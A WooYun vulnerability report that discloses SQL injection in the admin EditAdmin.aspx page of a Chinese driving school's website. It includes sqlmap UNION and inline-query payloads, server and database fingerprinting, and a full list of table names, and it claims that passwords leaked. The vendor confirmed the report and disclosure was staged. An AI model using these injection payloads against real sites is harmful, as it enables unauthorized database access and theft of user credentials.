漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-090069
漏洞标题：东方时尚驾校SQL注射后台沦陷
相关厂商：dfss.com.cn
漏洞作者： 路人甲
提交时间：2015-01-05 17:53
修复时间：2015-02-19 17:54
公开时间：2015-02-19 17:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-05： 细节已通知厂商并且等待厂商处理中
2015-01-06： 厂商已经确认，细节仅向厂商公开
2015-01-16： 细节向核心白帽子及相关领域专家公开
2015-01-26： 细节向普通白帽子公开
2015-02-05： 细节向实习白帽子公开
2015-02-19： 细节向公众公开
简要描述：
问题很严重！
详细说明：
http://www.dfss.com.cn/manage/EditAdmin.aspx?ID=1 存在注入
漏洞证明：
Place: GET
Parameter: ID
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=1 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+CHAR(87)+CHAR(69)+CHAR(86)+CHAR(113)+CHAR(104)+CHAR(85)+CHAR(78)+CHAR(109)+CHAR(83)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ID=(SELECT CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1630=1630) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113))
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [8]:
[*] D2004
[*] master
[*] model
[*] msdb
[*] ReportServer$uncc
[*] ReportServer$unccTempDB
[*] tempdb
[*] uncc_dfss
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=1 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+CHAR(87)+CHAR(69)+CHAR(86)+CHAR(113)+CHAR(104)+CHAR(85)+CHAR(78)+CHAR(109)+CHAR(83)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113),NULL,NULL,NULL--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ID=(SELECT CHAR(113)+CHAR(99)+CHAR(102)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1630=1630) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(121)+CHAR(113))
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: uncc_dfss
[109 tables]
+------------------------+
| BasicInto |
| Columns |
| D99_CMD |
| DownLoadClass |
| DownLoadInfo |
| Finance |
| Financing |
| Hdlogin |
| Links |
| LoginUser |
| Option |
| Reg_Arrt |
| Sifung_Admins |
| Sifung_Cat_Fileds |
| Sifung_Col_Fileds |
| Sifung_FixFields |
| Sifung_Font |
| Sifung_Moudles |
| Sifung_Regex |
| Sifung_Sys |
| Vote |
| actionTable |
| activity |
| baomingFields |
| baomingFields |
| catClass1 |
| catClass1 |
| catLinks |
| cat_article1024 |
| cat_article1024 |
| cat_article1024 |
| cat_article1130 |
| cat_article2 |
| comdlist |
| core |
| dnt_admingroups |
| dnt_adminvisitlog |
| dnt_advertisements |
| dnt_announcements |
| dnt_attachments |
| dnt_attachpaymentlog |
| dnt_attachtypes |
| dnt_banned |
| dnt_bbcodes |
| dnt_bonuslog |
| dnt_creditslog |
| dnt_debatediggs |
| dnt_debates |
| dnt_failedlogins |
| dnt_favorites |
| dnt_forumfields |
| dnt_forumlinks |
| dnt_forums |
| dnt_help |
| dnt_invitation |
| dnt_locations |
| dnt_medalslog |
| dnt_medalslog |
| dnt_moderatormanagelog |
| dnt_moderators |
| dnt_myattachments |
| dnt_myposts |
| dnt_mytopics |
| dnt_navs |
| dnt_notices |
| dnt_onlinelist |
| dnt_onlinelist |
| dnt_onlinetime |
| dnt_orders |
| dnt_paymentlog |
| dnt_pms |
| dnt_polloptions |
| dnt_polls |
| dnt_postdebatefields |
| dnt_postid |
| dnt_posts1 |
| dnt_ratelog |
| dnt_scheduledevents |
| dnt_searchcaches |
| dnt_smilies |
| dnt_statistics |
| dnt_stats |
| dnt_statvars |
| dnt_tablelist |
| dnt_tags |
| dnt_templates |
| dnt_topicidentify |
| dnt_topics |
| dnt_topictagcaches |
| dnt_topictags |
| dnt_topictypes |
| dnt_userfields |
| dnt_usergroups |
| dnt_users |
| dnt_words |
| dtproperties |
| feedbackJL1024 |
| feedbackJL1024 |
| feedbackJL1024 |
| foofoofoo |
| friendLinks |
| htmlinfo |
| intent |
| jiaozhu |
| rivalrousness |
| signup |
| sqlmapoutput |
| toupiao |
| view_news |
+------------------------+
密码全泄露。。。。
这数据。。。。
修复方案：
求20rank!
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-01-06 15:29
厂商回复：
感谢您对我校的关注与支持
最新状态：
暂无